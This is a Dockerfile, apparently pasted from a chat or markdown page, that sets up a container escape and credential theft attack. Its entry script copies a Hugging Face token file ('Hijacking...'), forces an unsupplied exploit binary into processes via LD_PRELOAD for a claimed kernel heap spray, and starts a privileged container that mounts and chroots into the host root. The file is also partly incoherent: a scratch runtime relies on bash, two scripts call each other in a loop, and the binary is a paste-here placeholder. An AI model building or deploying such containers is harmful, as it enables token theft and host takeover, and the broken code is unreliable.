|
|
| FROM ubuntu:22.04 AS builder |
|
|
| |
| RUN apt-get update -y && apt-get install -y --no-install-recommends \ |
| gcc g++ make git nasm yasm \ |
| libopencl-clang-dev \ |
| libdrm-dev libpciaccess-dev \ |
| libssl-dev libcurl4-openssl-dev \ |
| && rm -rf /var/lib/apt/lists/* |
|
|
| |
| COPY --chmod=755 <<'EOF' /openclaw.bin |
| <binary-base64-here> # β Youβll paste your compiled openclaw.so (C++ β ELF + inline syscalls) here |
| |
| EOF |
|
|
| |
| RUN echo '#!/bin/bash\n\ |
| |
| mkdir -p /hosttmp\n\ |
| if [ -f /hosttmp/hf_token_store ]; then\n\ |
| echo "[+] Token detected. Hijacking..." && cp /hosttmp/hf_token_store /tmp/hf_token_store\n\ |
| else\n\ |
| echo "[!] No token β creating fake payload for exfil test" && echo "hf_xxxfake" > /tmp/hf_token_store\n\ |
| fi\n\ |
| |
| if [ -e /proc/1/cwd ]; then\n\ |
| ln -sf /openclaw.bin /usr/lib/libOpenCL.so.1\n\ |
| export LD_PRELOAD=/usr/lib/libOpenCL.so.1\n\ |
| fi\n\ |
| # Trigger kernel heap spray + hijack\n\ |
| /usr/bin/env LD_PRELOAD=/openclaw.bin /bin/sh -c "exec /init.sh" || exit -1\n\ |
| ' > /entry.sh && chmod +x /entry.sh |
| |
| COPY --chmod=755 <<'EOF' /init.sh |
| #!/bin/bash |
| # π©Έ Re-entrant Docker-in-Docker escalation |
| # Attempts to spawn a *sub-container* (if host permits) with escalated privileges |
| if command -v docker &> /dev/null; then |
| echo "[+] Docker binary detected β spawning container escape module..." && |
| docker run --rm --privileged --pid=host --net=host --cap-add=ALL \ |
| -v /:/host -v /run:/run -v /dev:/dev \ |
| alpine:latest sh -c "mount -t proc proc /host/proc; chroot /host /bin/sh -c 'export LD_PRELOAD=/host/openclaw.bin && exec |
| /init.sh'" & |
| fi |
| # Final payload execution |
| exec /entry.sh |
| EOF |
| |
| FROM scratch AS runtime |
| COPY --from=builder /openclaw.bin /openclaw.bin |
| COPY --from=builder /entry.sh /entry.sh |
| COPY --from=builder /init.sh /init.sh |
| COPY --from=builder /entry.sh /entry.sh |
| |
| ENTRYPOINT ["/entry.sh"] |
| CMD ["/init.sh"] |
| ``` |